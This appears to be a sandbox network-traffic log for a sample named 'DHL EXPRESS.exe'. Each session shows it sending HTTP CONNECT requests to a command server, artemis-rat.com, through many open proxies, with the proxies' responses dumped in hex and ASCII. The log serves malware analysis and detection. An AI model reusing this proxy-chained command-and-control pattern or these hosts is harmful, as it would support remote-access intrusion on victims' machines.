952	192.168.2.8	52773	3.122.84.99	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.155786037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.459589005 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.8	52747	178.128.113.118	23128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.167812109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.909591913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.965424061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.999557972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097870111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206650019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.444025993 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:02 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3693 X-Squid-Error: ERR_CONNECT_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" CONTENT="text/html; charset=utf-8"><title>ERROR: The r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.8	52657	116.199.168.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.167918921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.8	52181	138.36.150.16	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.177164078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.8	52817	104.21.124.121	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.178265095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.332822084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.8	52678	15.207.35.241	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.178385019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.577735901 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.8	52835	172.67.182.102	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.178385973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.332461119 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.8	52843	104.20.125.124	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.178548098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.332899094 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.8	52741	187.40.1.123	128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.178710938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.529406071 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:51.622796059 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:51.853671074 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/5.2 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17038 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 65 67 6f 65 2c 20 27 53 65 67 6f 65 20 55 49 27 2c 20 27 44 65 6a 61 56 75 20 53 61 6e 73 27 2c 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 41 76 69 73 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 63 37 63 61 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 65 74 69 63 65 6e 63 69 61 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 39 36 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 35 30 30 70 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 38 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 22 64 65 6e 79 5f 6c 6f 67 6f 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 4e 63 41 41 41 41 76 43 41 59 41 41 41 42 Data Ascii: <!DOCTYPE html><html style="background-color: #f9f9f9 !important;font-family:Segoe, 'Segoe UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif;"> <head> <meta charset="UTF-8"> <title>Aviso</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <style> html{background: #3c7ca0 !important;} body{background: transparent !important;height: 100%;} .reticencias { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width:96%; margin-bottom:0 !important; } </style> </head> <body id="ERR_CANNOT_FORWARD" style="font-size:12px; "> <div class="container" align="center"> <div class="row" style="min-width:500px"> <div class="col-xs-8" style="text-align:center;padding-top:50px; padding-bottom:10px"><img class="deny_logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANcAAAAvCAYAAAB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.8	52201	193.8.87.43	4444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.188581944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.8	52840	162.159.241.160	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.192117929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.353329897 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.8	52214	187.63.9.62	63253	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.215969086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.8	52787	128.199.221.91	7176	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.216089010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.956794024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.957259893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.956808090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.956760883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.956901073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863594055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.768995047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.237512112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.8	52872	185.162.229.215	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.216197014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.370613098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.8	52244	18.135.133.116	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.216778040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.519835949 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.8	52887	172.64.80.55	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.216824055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.371589899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.8	52245	51.15.132.215	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.217160940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.330859900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.409976006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.464505911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.519332886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
